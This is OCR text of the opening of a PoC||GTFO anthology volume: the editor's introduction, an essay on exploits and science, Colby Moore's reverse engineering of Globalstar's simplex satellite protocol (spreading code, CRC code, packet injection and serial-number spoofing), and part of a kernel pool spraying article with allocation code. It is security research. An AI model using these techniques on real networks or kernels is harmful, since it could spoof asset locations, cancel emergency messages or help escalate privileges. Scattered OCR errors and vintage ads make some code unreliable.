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Introduction

Dear reader, this is a weird book.

This is the second volume of collected works from the presti-
gious International Journal of Proof of Concept or Get The Fuck
Out, a publication for ladies and gentlemen with an interest in re-
verse engineering, file format polyglots, radio, operating systems,
and other assorted technical subjects. The journal’s individual
issues are published in a variety of countries across the Americas
and Europe, but this volume you hold contains five of our finest
releases in 784 action-packed pages, indexed and cross referenced
for your convenience.

These articles are the very best stories that engineers and pro-
grammers might swap in front of a campfire, the clever tricks
that are all too often rejected from the academic conference, but
swapped discretely in its hallways by those who know better than
their peers. Like the Brothers Grimm, our little gang has spent
years collecting these stories, editing and illustrating them so
that they won’t be forgotten.

Concerning radio, you will learn how Colby Moore reverse engi-
neered Globalstar’s simplex communications protocol,! how Vo-
gelfrei sees the AX.25 protocol that underlies much of ham radio,?
how Badenhop and Ramsey join Z-Wave networks with a stolen
crypto key,® and how Matt Knight reverse engineered the real

1PoC||GTFO 9:3 on page 20.
2PoC||GTFO 9:9 on page 71.
3PoC||GTFO 12:3 on page 437.
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* THERE'S MONEY INIT ”’

—ori—l-EARN TELEGRAPH Y=o

— ———MORSE AND WIRELESS
L3 TEACH YOURSELF

in half usual time, at trifling cost, with the wonderful Automatic

Transmitter, THE OMNIGRAPH. Sends unlimited Morse or Conti-

nental messages, at any speed, just as an expert operator would,
Adopted by U. S. Gov’t. 4 styles. Catalogue free.

OMNIGRAPH MFG. CO., 39L Cortiandt St., New York

details of the LoRa protocol, which differ from the patent.?

If you’re more interested in preserving vintage hardware, we
have an English translation of the article by Voja Antoni¢ that
introduced the very first Yugoslavian computer,® the most com-
plete modern collection of tricks for breaking Apple || copy pro-
tection,® and the tale of how Lorenz West reverse engineered
every last byte of Star Raiders.”

For modern targets, you will find Travis Goodspeed’s work re-
verse engineering the Tytera MD380 two-way radio® and emulat-
ing its AMBE audio codec under Linux,” Peter Hlavaty’s tips for
spraying the Windows kernel pools,'® Alex Ionescu’s UMPown
technique for escalating from Ring 3 to Ring 0 on Windows,'* and
Micah Elizabeth Scott’s impressive work with a Wacom tablet.!?

You will also fine some damned clever file format tricks, which
are explored through polyglot files that are valid in more than
one format. In addition to begin valid PDF and ZIP files, pocor-

4PoC||GTFO 13:7 on page 702.

5PoC||GTFO 9:10 on page 84.

6PoC||GTFO 10:7 on page 220 and PoC||GTFO 11:5 on page 374.
"PoC||GTFO 13:2 on page 604.

8PoC||GTFO 10:8 on page 311.

9PoC||GTFO 13:5 on page 676.

LOPoC||GTFO 9:4 on page 31.

HPoC||GTFO 12:8 on page 553.

12PoC||GTFO 13:4 on page 659.
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gtfo09.pdf is also a valid WavPack audio file;*® pocorgtfo10.pdf
is a recording of button presses to exploit Pokemon Red with an
IRC client as a payload;'* pocorgtfo11.pdf is a Ruby quine that
hosts itself over HTTP;® pocorgtfol12.pdf is a self-replicated
Android application that can be installed like any other APK
file, and then shared with another phone over bluetooth;'® and
pocorgtfol3.pdf is a Postscript file, but be careful rendering it,
because it will include a copy of /etc/passwd!

Each of these technical tricks, however simple or complicated,
was written by a good neighbor much like yourself. With a bit of
patience and perseverance, the details in these articles should be
sufficient for you to repeat those results, rebuilding these proofs
of concept in your own home, on your own computer, with your
own mind.

And as you study these pages, you will learn the differences be-
tween how machines ought to work and how they really do work.
You will see that software can be exploited to create strange
behavior, that hardware can be patched with altered firmware,
that files can be legal in more than one format, and other fine
facts. Far more importantly than knowing that these things are
possible, you will learn to do these things yourself. Ain’t that
nifty?

Your neighbor,
Pastor Manul Laphroaig, T.G. S.B.

BPoC||GTFO 9:12 on page 128.
MPoC||GTFO 10:4 on page 190.
5PoC||GTFO 11:9 on page 415.
16PoC||GTFO 12:11 on page 593.
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9 Elegies of the Second Crypto War

9:1 Zen and the Art of PoC

Neighbors, please join me in reading this tenth release of the
International Journal of Proof of Concept or Get the Fuck Out,
a friendly little collection of articles for ladies and gentlemen of
distinguished ability and taste in the field of software exploitation
and the worship of weird machines. This is our tenth release,
given on paper to the fine neighbors of Novi Sad, Serbia and
Stockholm, Sweden.

7. .. you are an

ACTIVE AMATEUR
you NEED these...

Record keeping can often be tedious. But not with the
ARRL Log Book. Fully ruled with legible headings it helps
make compliance with FCC rules a pleasure. Persa‘

book. ... ... .

Mobile and portable opi;a(i?nal]_;leeds gr? met by the
pocket-size log book, the Minilog. Designed for ul-30¢

most convenience and ease. . ....................

First impressions are important. Whether you handle ten or
a hundred messages you want to present the addressee with
a neat looking radiogram . . . and you can do this by ¢
using the official radiogram form. 70 blanks per pad. 35

It you like to correspond with fellow hams you will find the
ARRL membership stationery ideal. Adds that
final touch to your letter. Per 100 sheets . ... ... $’.00

and they are available The American Radio Relay League
postpaid from. . . West Hartford, Connecticut
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9:1 Zen and the Art of PoC

Page 13 contains our very own Pastor Manul Laphroaig’s ser-
mon on Newton and Turing, in which we learn about the aca-
demics’ affection for Turing-completeness.

On page 20, Colby Moore provides all the details you’ll need to
sniff simplex packets from the Globalstar satellite constellation.

Page 31 introduces some tips by Peter Hlavaty of the Keen
Team on kernel pool spraying in Windows and Linux.

Page 43 presents the results of the second Underhanded Crypto
Contest, held at the Crypto Village of Defcon 23.

On page 47, Sophia D’Antoine introduces some tricks for com-
municating between virtual machines co-located on the same
physical host. In particular, the mfence instruction can be used
to force strict ordering, interfering with CPU instruction pipelin-
ing in another VM.

Eric Davisson, on page 57, presents a nifty little trick for caus-

11



9 Elegies of the Second Crypto War

ing quarantined malware to be re-detected by McAfee Enterprise
VirusScan! This particular tumor is benign, but we bet a neigh-
borly reader can write a malignant variant.

Ron Fabela of Binary Brew Works, on page 61, presents his
recipe for TCP/IPA, a neighborly beer with which to warm our
hearts and our spirits during the coming apocalypse.

Vogelfrei shares with us some tricks for APRS and AX.25 net-
working on page 71. APRS exists around much of the western
world, and all sorts of mischief can be had through it. (But please
don’t be a jerk on the airwaves.)

Much as some readers think of us as a security magazine, we are
first and foremost a systems-internals journal with a bias toward
the strange and the classic designs. Page 84 contains a reprint,
translated from the original Serbian, of Voja Antoni¢’ article on
the Galaksija, his Z80 home computer design, the very first in
Yugoslavia.

fbz is a damned fine neighbor of ours, both a mathematician
and a musician. On page 126 you’ll find her latest single, Root
Rights are a Grrl’s Best Friend! If you’d rather listen to it
than just read the lyrics, run vlc pocorgtfo09.pdf and jump
to page 128, where Philippe Teuwen describes how he made this
fine document a polyglot of PDF, ZIP, and WavPack.

On page 131, you will find Oona’s Puzzle Corner, with all sorts
of nifty games for a child of five. If you aren’t clever enough to
solve them, then ask for help from a child of five!

12



9:2 From Newton to Turing by Manul Laphroaig

“Academics should just marry
Turing Completeness already!”

—The Grugq

9:2 From Newton to Turing,
a Happy Family

by Pastor Manul Laphroaig, D.D.

When engineers first gifted humanity with horseless carriages
that moved on rails under their own power, this invention, for
all its usefulness, turned out to have a big problem: occasional
humans and animals on the rails. This problem motivated many
inventors to look for solutions that would be both usable and
effective.

Unfortunately, none worked. The reason for this is not so easy
to explain—at least Aristotelian physics had no explanation, and
few scientists till Galileo’s time were interested in one. On the
one hand, motion had to brought on by some force and tended
to kinda barrel about once it got going; on the other hand, it
also tended to dissipate eventually. It took five hundred years

13



9 Elegies of the Second Crypto War

from doubting the Aristotelian idea that motion ceased as soon
as its impelling force ceased to the first clear pronouncement that
motion in absence of external forces was a persistent rather than
a temporary virtue; and another six hundred for the first correct
formulation of exactly what quantities of motion were conserved.
Even so, it took another century before the mechanical conserva-
tion laws and the actual names and formulas for momentum and
energy were written down as we know them.

These days, “conservation of energy” is supposed to be one
of those word combinations to check off on multiple-choice tests
that make one eligible for college.! Yet we should remember that
the steam engine was invented well before these laws of classi-
cal mechanics were made comprehensible or even understood at
all. Moreover, it wasn’t until nearly a century after Watt’s ten-
horsepower steam engine patent that someone formulated the
principles of thermodynamics that actually make a steam engine
work—by which time it was chugging along at ten thousand horse-
power, able to move not just massive amounts of machinery but
also the engine’s own weight along the rails, plus a lot more.?

All of this is to say that if you hear scientists doubting that an
engineer can accomplish things without their collective guidance,
they have a lot of history to catch up with, starting with that
thing called the Industrial Revolution. On the other hand, if you
see engineers trying to build a thing that just doesn’t seem to
work, you just might be able to point them to some formulas that
suggest their energies are best applied elsewhere. Distinguishing
between these two situations is known as magic, wisdom, extreme

1Whether one actually understands them or not—and, if you value your
sanity, do not try to find if your physics teachers actually understand
them either. You have been warned.

2Not that stationary steam engines were weaklings either: driving ironworks
and mining pumps takes a lot of horses.

14



9:2 From Newton to Turing by Manul Laphroaig

luck, or divine revelation; whoever claims to be able to do so
unerringly is at best a priest, not a scientist.?

There is an old joke that whatever profession needs to add
“science” to its name is not so sure it is one. Some computer
scientists may not take too kindly to this joke, and point out
that it’s actually the word “computer” that’s misleading, as their
science transcends particular silicon-and-copper designs. It is
undeniable, though, that hacking as we know it would not exist
without actual physical computers.

As scientists, we like exhaustive arguments: either by full
search of all finite combinatorial possibilities or by tricks such
as induction that look convincing enough as a means of exhaust-
ing infinite combinations. We value above all being able to say
that a condition never takes place, or always holds. We dislike
the possibility that there can be a situation or a solution we can
overlook but someone may find through luck or cleverness; we
want a yes to be a yes, a no to mean no way in Hell. But full
search and induction only apply in the world of ideal models—call
them combinatorial, logical, or mathematical—that exclude any
kinds of unknown unknowns.

Hence we have many models of computation: substituting
strings into other strings (Markov algorithms), rewriting formu-
las (lambda calculus), automata with finite and infinite numbers
of states, and so on. The point is always to enumerate all finite
possibilities or to convince ourselves that even an infinite num-
ber of them does not harbor the ones we wish to avoid. The idea
is roughly the same as using algebra: we use formulas we trust
to reason about any and all possible values at once, but to do

3Typically, a priest of a religion that involves central planning and state-run
science. This time they’ll get it right, never fear!

15



9 Elegies of the Second Crypto War

_ FENOER DROPOSED BY THE
PROVIDENCE R.1. NEWS

so we must reduce reality to a set of formulas. These formulas
come from a process that must prod and probe reality; we have
no way of coming up with them without prodding, probing, and
otherwise experimenting by hunch and blind groping—that is, by
building things before we fully understand how they work. With-
out these, there can be no formulas, or they won’t be meaningful.

So here we go. Exploits establish the variable space; “science”
searches it, to our satisfaction or otherwise, or—importantly to
save us effort—asserts that a full and exhaustive search is infea-
sible. This may be the case of energy conservation vs. trying to
construct a safer fender—or, perhaps, the case of us still trying
to formulate what makes sense to attempt.

That which we call the “arms race” is a part of this process.
With it, we continually update the variable spaces that we wish
to exhaust; without it, none of our methods and formulas mean
much. This brings us to the recent argument about exploits and
Turing completeness.

Knowledge is power. In case of the steam engine, the power

4The question of whether that which is not power is still knowledge is best

16



9:2 From Newton to Turing by Manul Laphroaig

emerged before the kind of knowledge called “scientific” if one
is in college or “basic” if one is a politician looking to hitch a
ride—because actual science has a tradition of overturning its own
basics as taught in schools for at least decades if not centuries. In
any case, the knowledge of how to build these engines was there
before the knowledge that actually explained how they worked,
and would hardly have emerged if these things had not been built
already.

Our very own situation, neighbors, is not unlike that of the
steam power before the laws of thermodynamics. There are
things that work (pump mines, drive factories), and there are
official ways of explaining them that don’t quite work. Eventu-
ally, they will merge, and the explanations will catch up, and will
then become useful for making things that work better—but they
haven’t quite yet, and it is frustrating.

This frustration is understandable. As soon as academics re-
discovered a truly nifty kind of exploit programming, they not
only focused on the least practically relevant aspect of it (Turing
completeness)—but did so to the exclusion of all other kinds of
niftyness such as information leaks, probabilistic programming
(heap feng-shui and spraying), parallelism (cloning and pinning
of threads to sap randomization), and so on. That focus on the
irrelevant to the detriment of the relevant had really rankled. It
was hard to miss where the next frontier of exploitation’s hard
programming tasks and its next set of challenges lay, but oh boy,

left to philosophers. One can blame Nasir al-Din al-Tusi for explaining
the value of Astrology to Khan Hulagu by dumping a cauldron down the
side of a mountain to wake up the Khan’s troops and then explaining that
those who knew the causes above remained calm while those who didn’t
whirled in confusion below—but one can hardly deny that being able to
convince a Khan was, in fact, power. Not to mention his horde. Because
a Khan, by definition, has a very convincing comeback for “Yeah? You
and what horde?”

17



9 Elegies of the Second Crypto War

did the academia do it again.

Yet it is also clear why they did it. Academic CS operates
by models and exhaustive searches or reasoning. Its primary
method and deliverable is exhaustive analysis of models, i.e., the
promise that certain bad things never happen, that all possible
trajectories of a system have been or can be enumerated.

Academia first saw exploit programming when it was presented
in the form of a model; prior to that, their eyes would just slide
off it, because it looked “ad-hoc,” and one can neither reason
about “ad-hoc” nor enumerate it. (At least, not if one wants to
meet publication goals.) When it turned out it had a model,
academia did with it what it normally does with models: au-
tomating, tweaking, searching, finding their theoretical limits,
and relating them to other models, one paper at a time.®

5And some of these papers were true Phrack-like gems that, true to the
old-timey tradition, explained and exposed surprising depths of common

18



9:2 From Newton to Turing by Manul Laphroaig

This is not a bad method; at least, it gave us complex compilers
and CPUs that don’t crumble under the weight of their bugs.®
Eventually we will want the kind of assurances such a method
creates—when their models of unexpected execution are complete
enough, close enough to reality. For now, they are not, and we
have to go on building our engines without guidance from models,
but rather to make sure new models will come from them.

Not that we are without hope. A reader has only to look
to Grsecurity/PaX at any given time to see what will eventu-
ally become the precise stuff of Newton’s laws for the better OS
kernels; similarly, the inescapable failure modes of data and pro-
gramming complexity will eventually be understood as clearly
as the three principles of thermodynamics. Until then our best
bet is to build engines—however unscientific—and to construct
theories—however removed from real power—and to hope that
the engineering and the science will take enough notice of each
other to converge within a lifetime, as they have had the sense
to do during the so-called Industrial Revolution, and a few lucky
times since.

And to this, neighbors, the Pastor raises not one but two
drinks—one for the engineering orienting the science, and another
for the science catching up with the knowledge that is power, and
saving it the effort of what cannot be done—and may they ever
converge! Amen.

mechanisms: see, for example, SROP and COOP.
6While, for example, products of the modern web development “revolution”
already do, despite being much less complex than a CPU.
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9 Elegies of the Second Crypto War

9:3 Globalstar Satellite Comms
by Colby Moore

It might be an understatement to say that hackers have a
fascination with satellites. Fortunately, with advancements in
Software Defined Radio such as the Ettus Research USRP and
Michael Ossmann’s HackRF, satellite hacking is now not only fea-
sible, but affordable. Here we’ll discuss the reverse engineering
of Globalstar’s Simplex Data Service, allowing for interception of
communications and injection of data back into the network.

Rumor has it, that after deployment, Globalstar’s first gener-
ation of satellites began to fail, possibly due to poor radiation
hardening. This affected the return path data link, where Glob-
alstar’s satellite constellation would transmit to a user. To sal-
vage the damaged satellite network, Globalstar introduced a line
of simplex products that enable short, one-way communication
from the user to Globalstar.

The nature of the service makes it ideal for asset tracking and
remote sensor monitoring. While extremely popular with oil and
gas, military, and shipping industries, this technology is also
widely used by consumers. A company called SPOT produces
consumer-grade asset trackers and personal locator beacons that
use this same technology.

Globalstar touts their simplex service as “extremely difficult” to
intercept, noting that the signal’s “Low-Probability-of-Intercept
(LPI) and Low-Probability-of-Detection(LPD) provide over-the-
air security.””

In this article I’ll outline the basics for reverse engineering the
Globalstar Simplex Data Services modulation scheme and pro-
tocol, and will provide the technical information necessary to

7“Are Simplex Messages Secure,” GlobalStar Product Support, Feb. 2009.
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9:3 Globalstar Satellite Comms by Colby Moore

interface with the network.

Network Architecture

The network is comprised of many Low Earth Orbit, bent-pipe
satellites. Data is transmitted from the user to the satellite on
an uplink frequency and repeated back to Earth on a downlink
frequency. Globalstar ground stations all over the world listen for
this downlink data, interpret it, and expose it to the user via an
Internet-facing back-end. Each ground station provides a several
thousand mile window of data coverage.

Bent-pipe satellites are “dumb” in that they do not modify the
transmitted data. This means that the data on the uplink is the
same on the downlink. Thus, with the right knowledge, a skilled
adversary can intercept data on either link.

is looking for an

EXPERIENCED
JOURNALIST

to join our full-time staff here in Bath. The job involves writing
news, features and product reviews, and a knovyledge of the IBM-
compatible PC market is essential.

®
Starting salary is in the range £9.5 to 11.5K, depending on
experience.

®
Apply in writing please, including C.V. and samples of published work, to the Editor
PC Plus, Future Publishing Limited, 4 Queen Street, Bath, Avon, BA1 1EJ
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9 Elegies of the Second Crypto War

Tools and Code

This research was conducted using GNURadio and Python for
data processing and an Ettus Research B200 for RF work. Cus-
tom proof-of-concept toolsets were written for DSSS and packet
decoding. Devices tested include a SPOT Generation 3, a SPOT
Trace, and a SmartOne A.

Frequencies and Antennas

Four frequencies are allocated for the simplex data uplink. Chan-
nel A is 1611.25 MHz, B is 1613.75 MHz, C is 1616.25 MHz, and
D is 1618.78 MHz. Current testing has only shown operation on
channel A.

Globalstar uses left-hand circular-polarized antennas for trans-
mission of simplex data from the user to the satellite. The an-
tenna that ships with Globalstar’s GSP-1620 modem, designed
for transmitting from the user to a satellite, has proven adequate
for experimentation.

Downlink is a bit more complicated, and far more faint. Chan-
nels vary by satellite, but are within the 6875-7055 MHz range.
Both RHCP and LHCP are used for downlink.

Direct Sequence Spread Spectrum

Devices using the simplex data service implement direct sequence
spread spectrum (DSSS) modulation to reliably transmit data
using low power. DSSS is a modulation scheme that works by
mixing a slow data signal with a very fast Pseudo Noise (PN) se-
quence. Since the pseudo-random sequence is known, the result-
ing signal retains all of the original data information but spread
over a much wider spectrum. Among other benefits, this process
makes the signal more tolerant to interference.
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In Globalstar’s implementation of DSSS, packet data is first
modulated as non-differential BPSK at 100.04 bits/second, then
spread using a repeating 255 chip PN sequence at a rate of
1,250,000 chips/second. Here “chip” refers to one bit of a PN
sequence, so that it is not confused with actual data bits.

Pseudo Noise Sequence / M-Sequences

Pseudo Noise (PN) sequences are periodic binary sequences known
by both the transmitter and receiver. Without this sequence,
data cannot be received. The simplex data service uses a specific
type of PN sequence called an M-Sequence.

M-Sequences have the unique property of having a strong au-
tocorrelation for phase shifts of zero but very poor correlation
for any other phase shift. This makes the detection of the PN
in unknown data, and subsequently locking on to a DSSS signal,
relatively simple.

All simplex data network devices examined use the same PN
sequence to transmit data. By knowing one code, all network
data can be intercepted.

Obtaining The M-Sequence

In order to intercept network data, the PN sequence must be
recovered. For each bit of data transmitted, the PN sequence
repeats 49 times. Data packets contain 144 bits.

1.25 x 10% chips 1 second 1 PN PN

X X =49—
1 second 100.04 bits 255 chips bit

The PN sequence never crosses a bit boundary, so it can be
inferred that xor (PN, data) == PN.
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By decoding the transmitted data stream as BPSK,® we can
demodulate a spread bitstream. Note that demodulation in this
manner negates any processing gain provided from DSSS and
thus can only be received over short distances, so for long dis-
tances you will need to use a proper DSSS implementation.

Viewing the demodulated bitstream, a repeating sequence is
observed. This is the PN, the spreading code key to the kingdom.

The simplex data network PN code is 1111111100101101011-
01110101010111001001101101001100110100011101101100010-
00100111101001001000011110001010011100011111010111100-
11101000010101100101000101100000110010001100001101111-
11011100001000001001010100101111100000011100110001101-
010000000101110111101100.

Despreading

DSSS theory states that to decode a DSSS-modulated signal, a
received signal must be mixed once again with the modulating
PN sequence; the original data signal will then fall out. However,
for this to work, the PN sequence needs to be phase-aligned with
the mixed PN /data signal, otherwise only noise will emerge.

Alignment of the PN sequence to the data stream if accom-
plished by correlating the PN sequence against the incoming
datastream at each sample. When aligned, the correlation will
peak. To despread, this correlation peak is tracked and the PN
is mixed with the sampled RF data. The resulting signal is the
100.04 bit/second non-differential BPSK modulated packet data.

8DSSS theory shows us that DSSS is the same as BPSK for a BPSK data
signal.
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Decoding and Locations

Once the signal is despread, a BPSK demodulator is used to
recover data. The result is a binary stream, 144 bytes in length,
representing one data packet. The data packet format is shown
in Figure 9.2.

Simplex data packets can technically transmit any 72 bits of
user defined data. However, the network is predominantly used
for asset tracking and thus many packets contain GPS coordi-
nates being relayed from tracking devices. This data scheme for
GPS coordinates can be interpreted with the following Python
code.

latitude = int (user_data[8:32],2) * 90 / 2%xx23
longitude = 360 - int(user_datal[32:56],2) * 180 / 2%x23

Packets are verified using a 24 bit CRC which covers all of the
data packet except for the preamble and, of course, the CRC
itself. Python code implementing the CRC algorithm is shown
in Figure 9.3.

Transmitting

DISCLAIMER: It is most likely illegal to transmit on Globalstar’s
frequencies where you live. Do so at your own risk. Remember,
no one likes late night visits from the FCC and it would really
suck if you interrupted someone’s emergency communication!
By knowing the secret PN code, modulation parameters, data
format, and CRC, it is possible to craft custom data packets and
inject them back into the satellite network. The process is to (1)
generate a custom packet, (2) calculate and append the correct
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9 Elegies of the Second Crypto War

def crcTwentyfour (TX_Data):
k=0
m = 0
TempCRC = 0
Crc = OxFFFFFF

#checksum 14 bytes starting with ESN
for k in range(0,14):

#skip part of the preamble (dictated by algorithm)
TempCRC = int (TX_Datal[ (k*8)+8 : (k*8)+8+8 ], 2)

if 0 ==
#skip 2 preamble bits in bytel
TempCRC = TempCRC & 0x3f

Crc = Crc ~ (TempCRC)<<16

for m in range(0,8):
Crc = Crc << 1

if Crc & 0x1000000:
#seed CRC
Crc = Crc ~ 0114377431L

Crc = ("Crc) & Oxffffff;
#end crc generation. lowest 24 bits are the CRC

#Three CRC bytes to TX_Data
bytel4d = (Crc & 0x00f£0000) >> 16
bytels = (Crc & 0x0000f£f00) >> 8
bytel6 = (Crc & 0x000000ff)

final_crc = (byteld4 << 16) | (bytelb << 8) | bytel6
if final_crc != int(TX_Datal[120:144], 2):

print "Error: CRC failed"
sys.exit (0)

Figure 9.3: Python Implementation of Globalstar’s CRC24
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CRC, (3) spread the packet using Globalstar’s PN sequence, and
finally (4) BPSK module the spread data for transmission over
the RF carrier.

Few SDR boards have sufficient power to communicate with
the network, buts COTS amplifiers are available for less than a
few hundred dollars. Specifications suggests a minimum transmit
power of about 200 milliwatts.

Spoofing

SPOT produces a series of asset trackers called SPOT Trace.
SPOT also provides SPOT_Device_Updater.pkg, an OS X up-
date utility, to configure various device settings. This utility
contains development code that is never called by the consumer
application.

The updater app package contains SPOT3FirmwareTool. jar.
Decompilation shows that a Ul view calls a method writeESN()
in SPOTDevice.class. You read that correctly, they included
the functionality to program arbitrary serial numbers to SPOT
devices!

This Ul can be called with a simple Java utility.

import com.globalstar.SPOT3FirmwareTool.UI.DebugConsole;

public class SpotDebugConsole {
public static void main(String[] args) {
DebugConsole.main (args) ;

}

Upon execution, a debug console is launched, allowing the writ-
ing of arbitrary settings including ESNs, to the SPOT device.
(This functionality was included in Spot Device Updater 1.4 but
has since been removed.)
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Impact

The simplex data network is implemented in countless places
worldwide. Everything from SCADA monitoring to emergency
communications relies on this network. To find that there is
no encryption or authentication on the services examined is sad.
And to see that injection back into the network is possible is even
worse.

Using the specifications outlined here, it is possible—among
other things—to intercept communications and track assets over
time, spoof an asset’s location, or even cancel emergency help
messages from personal locator beacons.

One could also enhance their own service, create their own
simplex data network device, or use the network to transmit their
own covert communications.

PoC and Resources

This work was presented at BlackHat USA 2015 and proof-of-
concept code is available both by Github and within pocorgtfo-
09.pdf.?

9git clone https://github.com/synack/globalstar
unzip pocorgtfo09.pdf globalstar.tar.bz2
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9:4 Pool Spray the Feature; or,
Unprivileged Data Around the Kernel!

by Peter Hlavaty of Keen Team

When it comes to kernel exploitation, you might think about
successful exploitation of interesting bug classes such as use-after-
free and over/under-flows. In such exploitation it is sometimes
really useful to ensure that the corrupted pointer will still point
to accessible, and in the best scenario also controllable, data.

As we described in our recent blogpost about kernel security,'?
although controlling kernel data to such an extent should be im-
possible and unimaginable, this is, in fact, not the case with
current OS kernels.

In this article we describe layout and control of pool data for
various kernels, in different scenarios, and with some nifty exam-
ples.

Windows

1. Small and large allocations: There are a number of known
approaches to invoking ExAllocatePool (kmalloc) in kernel,
with more or less control over data shipped to kernel. Two no-
table examples are SetClassLongPtrW!! by Tarjei Mandt and
CreateRoundRectRgn/PolyDraw!? by Tavis Ormandy. Another
option we were working on recently resides in SessionSpace and
grants full control of each byte except those in the header space.
We successfully leveraged this approach in Pwn20wn 2015 and

Ohttp://www.k33nteam. org/noks . html
Hhttp://jOOru.vexillium. org/dump/recon2015. pdf
12 Intro to Windows Kernel Security Research by T. Ormandy, May 2013.
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described it at Recon.'®> We use the win32k! _gre_bitmap object.

The CreateBitmap function creates a bitmap with the specified width, height, and color format
(color planes and bits-per-pixel).

Syntax

Cr+

HBITMAP CreateBitmap(

_In_ int nWidth,
_In_ int nHeight,
_In_ UINT cPlanes,
In UINT cBitsPerPel,

_In_ const VOID *lpvBits
)i

You can think of it as a kind of kmalloc. Consider the following
code:

1| class CBitmapBufObj : public IPoolBuf {
gdi_obj <HBITMAP> m_bitmap;

3| public:
size_t Alloc(void* mem, size_t size) override {
5 m_bitmap.reset(CreateBitmap (size, 1, 1,
RGB#*8,nullptr));
7 if (lget())
return O;
9 return SetBitmapBits(m_bitmap, size, mem);
}
11
void Free() override {
13 m_bitmap.reset ();
}
15| };

13This Time Font Hunt You Down in 4 Bytes, Peter Hlavaty and Jihui Lu,
Recon 2015
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9:4 Pool Spray Tips by Peter Hlavaty

2. Different pools matter: On Windows, exploitation of
different objects can get a bit tricky, because they can reside in
different pools.

typedef enum _POOL_TYPE {

NonPagedPool ,

NonPagedPoolExecute NonPagedPool ,
PagedPool ,

NonPagedPoolMustSucceed — NonPagedPool + 2,
DontUseThisType,

NonPagedPoolCacheAligned = NonPagedPool + 4,

PagedPoolCacheAligned ,
NonPagedPoolCacheAlignedMustS
MaxPoolType,

NonPagedPool + 6,

NonPagedPoolBase =0,
NonPagedPoolBaseMustSucceed — NonPagedPoolBase + 2,
NonPagedPoolBaseCacheAligned — NonPagedPoolBase + 4,
NonPagedPoolBaseCacheAlignedMustS = NonPagedPoolBase + 6,
NonPagedPoolSession = 32,
PagedPoolSession NonPagedPoolSession + 1,
NonPagedPoolMustSucceedSession = PagedPoolSession + 1,
DontUseThisTypeSession = NonPagedPoolMustSucceedSession + 1,
NonPagedPoolCacheAlignedSession — DontUseThisTypeSession + 1,
PagedPoolCacheAlignedSession

= NonPagedPoolCacheAlignedSession + 1,
NonPagedPoolCacheAlignedMustSSession

PagedPoolCacheAlignedSession + 1,

NonPagedPoolNx = 512,
NonPagedPoolNxCacheAligned — NonPagedPoolNx + 4,
NonPagedPoolSessionNx = NonPagedPoolNx -+ 32

} POOL_TYPE;

This means that if you want to use our win32k!_gre_bitmap
technique, you must use it only on objects existing in SessionPool,
which is not always the case. But on the other hand, as we
already discussed, in different pools you can find different objects
to fulfill your needs. Another nice example, in a different pool,
was leveraged by Alex Ionescu, using the Pipe object, proposed
with the Socket object as well.14

14Sheep Year Kernel Heap Fengshui: Spraying in the Big Kids’ Pool, Alex
Tonescu, Dec 2014
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9 Elegies of the Second Crypto War
CreatePipe function
Creates an anonymous pipe, and returns handles to the read and write ends of the pipe.
Syntax
CH+
BOOL WINAPI CreatePipe(
_out_ PHANDLE hReadPipe,
_out_ PHANDLE hWritePipe,
_In_opt_ LPSECURITY_ ATTRIBUTES lpPipeAttributes,
_In_ DWORD nsize
)i
The following piece of code represents another kmalloc of cho-
sen size.
class CPipeBufObj : public IPoolBuf {

CPipe m_pipe;

public:
size_t Alloc(void* mem,size_t size) override{
size_t n_written = 0;
auto status = WriteFile(m_pipe.In() ,mem,size,

&n_written ,nullptr);
if (!NT_SUCCESS(status))
return O;

return n_written;

}

void Free() override{
m_pipe.reset(new CPipe)

This was just a sneak peek at two objects that are easy to

misuse for precise control over kernel memory content (via Set-

Bi

tmapBits and WriteFile) and the pool layout (via Alloc and

Free). Precise pool layout control can be achieved mainly in big
pools, where layout can be well controlled. With small alloca-
tions, you may face more problems due to randomization being

in
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Chris Valasek.!®

We mention only a few objects to spray with; however, if you
invest a bit of time to look around the kernel, you will find other
mighty objects in different pools as well.

Linux (Android) Kernel

In Linux, you face a different scenario. With SLUB,'6 you en-
counter problems due to overall randomization, and due to data
that is not so easily controllable. In addition, SLUB has a differ-
ent concept of pool separation, that of separate kernel caches for
specific object types. Kernel caches provide far better granular-
ity, as often only a few objects are stored in the same cache.

In order to exploit an overflow, you may need to use a par-
ticular object of the same cache, or force the overflow from your
SLAB_objectA to a new SLAB_objectB block. In case of UAF,
you can also force a whole particular SLAB block to be freed and
reallocate it with another SLAB object. Either of these variants
may be complex and not very stable.

However, not all objects are stored in those kernel caches, and
a lot of the useful ones are allocated from the default object pool
based only on the size of the object, so in the same SLAB you
can mix different objects.

Our first useful object for playing with the pool layout is Pipe,
in Figure 9.4. TTY in Figure 9.5 and Socket in Figure 9.6 are also
rather useful.

However, in our implementations we only play with allocations
of sizes sizeof (Pipe), sizeof (TTY), sizeof (Socket), but not
with their associated buffers for the Pipe, TTY, or Socket objects

15 Windows 8 Heap Internals presentation.
16SLUB, the unqueued slab allocator, has been the default since Linux
2.6.23.
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9 Elegies of the Second Crypto War

class CPipeObject : public IPoolObj {
std::unique_ptr<CPipe> m_pipe;
public:
operator CPipex() {
return m_pipe.get();

}

CPipeObject () : m_pipe(nullptr) {
}

bool Alloc() override{
m_pipe.reset(new CPipe());
if (!m_pipe.get())
return false;
if (!m_pipe->IsReady())
return false;

// Let’s cover same SLAB, pipe, and its buffer!

// fentl(m_pipe->In(), F_SETPIPE_SZ,
return true;

}

void Free() override{
m_pipe.release();
}
};

PAGE_SIZE * 2);

Figure 9.4: Pipe Object
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9:4 Pool Spray Tips by Peter Hlavaty

class CTtyObject : public IPoolObj {
CScopedFD m_£fd;
public:
operator int (){
return m_£fd;

}

CTtyObject () : m_fd(-1) {
¥

bool Alloc() override{
m_fd.reset (open("/dev/ptmx", O_RDWR | O_NONBLOCK));
return (-1 != m_fd);

}

void Free() override{
m_fd.reset ();
}
};

Figure 9.5: TTY Object

class CSocketObject : public IPoolObj {
CScopedFD m_sock;
public:
operator int () {
return m_sock;

Y

CSocketObject () : m_sock(-1) {
}

bool Alloc() override {
m_sock.reset (socket (AF_INET ,SOCK_DGRAM, IPPROTO_ICMP));
return (-1 != m_sock.get());

}

void Free() overridef{
m_sock.reset ();
}
}s

Figure 9.6: Socket Object
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respectively. Therefore, here we omit doing the equivalent of
memcpy, but you can ship your controlled data to kernel memory
through the write syscall, which will store it there faithfully
byte-for-byte.

Here is an example with Pipe. It is similar to the Windows
example. In Windows we use the WriteFile API, but in the
Linux implementation we have to use CPipe.Write, like in this
example with fcntl syscall:

class CPipeBufObj : public IPoolBuf {
CPipe m_pipe;
public:
size_t Alloc(void* mem,size_t size) override {
auto shift = KmallocIndexByPipe(size);
